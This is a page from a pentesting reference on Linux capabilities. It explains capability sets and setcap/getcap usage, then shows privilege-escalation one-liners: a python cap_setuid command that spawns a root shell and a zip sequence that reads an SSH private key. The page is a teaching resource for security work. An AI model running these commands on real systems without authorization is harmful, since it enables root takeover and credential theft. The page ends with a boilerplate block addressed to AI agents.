> For the complete documentation index, see [llms.txt](https://legacy.thehacker.recipes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://legacy.thehacker.recipes/infra/privilege-escalation/unix/capabilities.md).

# Capabilities

## Theory

Linux capabilities are a way to improve permission granularity in unix-like systems. It allows to follow the least-privilege principle by defining fine-grained permissions that can be attributed to threads and files. It works by splitting kernel calls in groups of similar functionalities.

**Basic processes :** Have no capabilities (file access is controlled by traditional file privileges).

**(Binary) files :** Can have capabilities (filesystem-dependent).

Capabilities are in separated in 5 sets :

| Set             | Description                                                                                 |
| --------------- | ------------------------------------------------------------------------------------------- |
| Effective set   | the set that will be used when doing permission check.                                      |
| Permitted set   | can be moved to effective set by calling `capset()`                                         |
| Inheritable set | can be inherited from parent processes, can be moved to effective set by calling `capset()` |
| Bounding set    | list of all the capabilities a process can ever receive (in its inheritable/permitted sets) |
| Ambiant set     | passed to non-suid files without defined capabilities                                       |

#### Capability inheritance, capability drop

* On `fork()` call, the child thread will have the same capabilities as the parent thread.
* `capset()` syscall allows to
  * drop any capability from any set
  * move capabilities from permitted/inherited sets to effective set
* If a thread calls `execve()` on a binary file, its capabilities will be modified following the pattern described in the man pages (see `man capabilities`).

**Non-exhaustive capability list :**

| Capability              | Description                                       |
| ----------------------- | ------------------------------------------------- |
| `CAP_AUDIT_CONTROL`     | Toggle kernel auditing                            |
| `CAP_AUDIT_WRITE`       | Write to kernel audit log                         |
| `CAP_CHOWN`             | Change file owners                                |
| `CAP_SETUID/CAP_SETGID` | Change UID/GID                                    |
| `CAP_NET_RAW`           | Open raw and packet sockets                       |
| `CAP_NET_BIND_SERVICE`  | Bind a socket to Internet domain privileged ports |

## Practice

**Setting a file's capabilities :**

To change capabilities on a file, you need to type these commands as `root` :

```bash
# set capability to change uid to file (+ep to add to effective & permitted)
setcap cap_setuid+ep /path/to/file

# delete capabilites 
setcap -r /path/to/file

# get file(s) capabilities
getcap -r dir 2>/dev/null
getcap file

# listing & decoding a running process' capabilities
grep Cap /proc/$pid/status
capsh --decode=000001ffffffffff
```

**Exploiting capabilities :**

* Empty capabilities

  If a file has capabilities `/path/to/file =ep` it means it has `all` capabilities *and* will run as `root`.

{% hint style="info" %}
To create a file with empty (=all) capabilities just`sudo setcap \=ep /path/to/file`&#x20;
{% endhint %}

**Other classic examples :**

* If the `python` binary has the `cap_setuid` then it becomes trivial to get a root shell :

```bash
./python -c "import os; os.setuid(0); os.system('/bin/sh')"
```

* Arbitrary file read : `zip` with `cap_dac_read_search`

```bash
# cap_dac_read_search allows zip/tar to read any file (get ssh private key here)
zip /tmp/private_k.zip ~/.ssh/id_rsa
unzip /tmp/private_k.zip -d /tmp
# id_rsa is now readable in the unzipped folder
```

**End notes :**

When copied from one place to another, a binary will lose its capabilities. In order to keep capabilities, you can copy the file with `--preserve=all` option :

```bash
# to keep capabilities when copying a binary
cp --preserve=all /origin/path /dest/path
```

## Resources

{% embed url="<https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work>" %}

{% embed url="<https://blog.ploetzli.ch/2014/understanding-linux-capabilities/>" %}

{% embed url="<https://materials.rangeforce.com/tutorial/2020/02/19/Linux-PrivEsc-Capabilities/>" %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://legacy.thehacker.recipes/infra/privilege-escalation/unix/capabilities.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
